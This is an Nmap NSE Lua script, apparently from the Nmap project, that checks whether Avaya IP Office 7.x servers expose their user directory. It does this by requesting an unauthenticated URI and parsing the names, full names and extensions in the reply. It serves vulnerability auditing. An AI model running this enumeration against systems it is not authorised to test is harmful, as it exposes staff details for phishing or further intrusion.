1description = [[ 2Attempts to enumerate users in Avaya IP Office systems 7.x. 3 4Avaya IP Office systems allow unauthenticated access to the URI '/system/user/scn_user_list' 5which returns a XML file containing user information such as display name, full name and 6extension number. 7 8* Tested on Avaya IP Office 7.0(27). 9]] 10 11--- 12-- @usage nmap -p80 --script http-avaya-ipoffice-users <target> 13-- @usage nmap -sV --script http-avaya-ipoffice-users <target> 14-- 15-- @output 16-- PORT STATE SERVICE REASON VERSION 17-- 80/tcp open http syn-ack ttl 99 Avaya IP Office VoIP PBX httpd 7.0(27) 18-- | http-avaya-ipoffice-users: 19-- | title: Avaya IP Office User Listing 20-- | users: 21-- | 22-- | full_name: John Doe 23-- | extension: 211 24-- | name: JDoe 25-- |_ data_source: IPOFFICE/7.0(27) xxx.xxx.xxx.xxx 26 27author = "Paulino Calderon <calderon@websec.mx>" 28license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 29categories = {"exploit","vuln"} 30 31local http = require "http" 32local shortport = require "shortport" 33local string = require "string" 34local vulns = require "vulns" 35local stdnse = require "stdnse" 36local table = require "table" 37 38portrule = shortport.http 39 40action = function(host, port) 41 -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests 42 local status_404, result_404, _ = http.identify_404(host,port) 43 if ( status_404 and result_404 == 200 ) then 44 stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number) 45 return nil 46 end 47 local output = stdnse.output_table() 48 local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) 49 local open_session = http.get(host, port, "/system/user/scn_user_list") 50 if open_session and open_session.status == 200 then 51 local _, _, source = string.find(open_session.body, "<data_source>(.-)</data_source>") 52 if source == nil then 53 stdnse.debug(1, "Pattern not found. Exiting") 54 return 55 end 56 output.title = "Avaya IP Office User Listing" 57 output.users = {} 58 output.data_source = source 59 --match the string data_source and print it //Avaya IP Office 7.0(27) 60 for user_block in string.gmatch(open_session.body, "<user>(.-)</user>") do 61 stdnse.debug(1, "User block found!") 62 local _, _, name = string.find(user_block, '<name>(.-)</name>') 63 local _,_, fName = string.find(user_block, '<fname>(.-)</fname>') 64 local _,_, ext = string.find(user_block, '<extn>(.-)</extn>') 65 stdnse.debug1("User found!\nName: %s\nFull name: %s\nExt:%s", name, fName, ext) 66 if name ~= nil or fName ~= nil or ext ~= nil then 67 local user = {} 68 user.name = name 69 user.full_name = fName 70 user.extension = ext 71 table.insert(output.users, user) 72 end 73 end 74 return output 75 end 76 return 77end 78